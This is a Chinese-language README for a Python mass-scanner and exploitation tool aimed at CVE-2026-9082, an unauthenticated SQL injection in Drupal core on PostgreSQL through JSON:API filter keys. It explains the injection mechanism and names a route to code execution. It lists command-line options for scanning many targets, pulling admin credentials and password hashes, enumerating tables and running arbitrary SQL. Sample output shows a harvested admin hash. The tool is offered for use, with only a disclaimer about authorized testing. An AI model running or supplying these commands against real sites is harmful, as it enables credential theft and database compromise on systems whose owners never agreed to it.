扫描器:CVE-2026-9082 Drupal PostgreSQL SQLi 通过 JSON:API — 用于未认证 SQLi(导致 RCE)的 Python 扫描器 (CISA KEV)
Drupal 核心(PostgreSQL)未认证 SQL 注入
通过滥用 PDO 占位符名称实现 JSON:API 过滤器数组键注入
CVE-2026-9082 是 Drupal 核心中的一个极度严重 SQL 注入漏洞,影响所有使用 PostgreSQL 后端并运行 Drupal 8.0 至 11.3.9 的站点。该漏洞已于 2026-05-22 被列入 CISA 已知被利用漏洞(KEV)目录——正在野外被积极利用。
| 严重性 | CVSS | 认证要求 | 攻击向量 |
|---|---|---|---|
| 严重 | 9.8+ | 无 | HTTP (JSON:API) |
pg_exec() 或 COPY ... PROGRAM 实现| 状态 | 版本 |
|---|---|
| ❌ 受影响 | Drupal 8.0.0 → 11.3.9(PostgreSQL 后端) |
| ✅ 已修复 | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
该缺陷位于 core/modules/pgsql/src/EntityQuery/Condition.php 中。translateCondition() 方法使用来自 JSON:API 过滤参数的、由用户控制的数组键来构造 PDO 占位符名称。PDO 只会将 [a-zA-Z0-9_] 解析为占位符名称,因此 ) 之后的任何后缀都会变成字面 SQL 被注入到查询中。
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep() 确认盲 SQL 注入pip(Python 包管理器)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
就是这么简单!只有一个依赖——requests。
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
targets.txt 格式:
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
本工具仅用于授权的安全测试、教育目的和道德研究。
未经授权访问计算机系统属于违法行为。作者不承担任何责任,亦不对因使用本程序造成的任何滥用或损害负责。
Ridhin V A (@ridhinva) — 漏洞赏金猎人兼安全研究员
由于 CISA KEV 表示该漏洞正在野外被利用,故构建了此工具。请为你的 Drupal 站点打上补丁。
| 选项 | 说明 |
|---|
-u, --url | 单个目标 URL |
-f, --file | 包含目标的文件(每行一个) |
-o, --output | 将扫描结果保存到文件 |
--check | 检测目标是否存在漏洞 |
--version | 提取 PostgreSQL 版本 |
--dbinfo | 提取数据库用户和数据库名称 |
--admin | 提取 Drupal 管理员凭据(uid=1) |
--tables | 列出所有数据库表 |
--query | 自定义 SQL 提取查询 |
--threads | 批量扫描线程数(默认:20) |
--timeout | HTTP 请求超时时间(默认:30 秒) |
--delay | pg_sleep 检测延迟(默认:5 秒) |
--no-ssl-verify | 跳过 TLS 证书验证 |
--proxy | HTTP 代理(例如:http://127.0.0.1:8080) |
| 来源 | 链接 |
|---|
| Drupal 安全公告 | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| 补丁提交 | ea9524d9 |
| NVD 条目 | CVE-2026-9082 |
| 发现者 | Michael Maturi |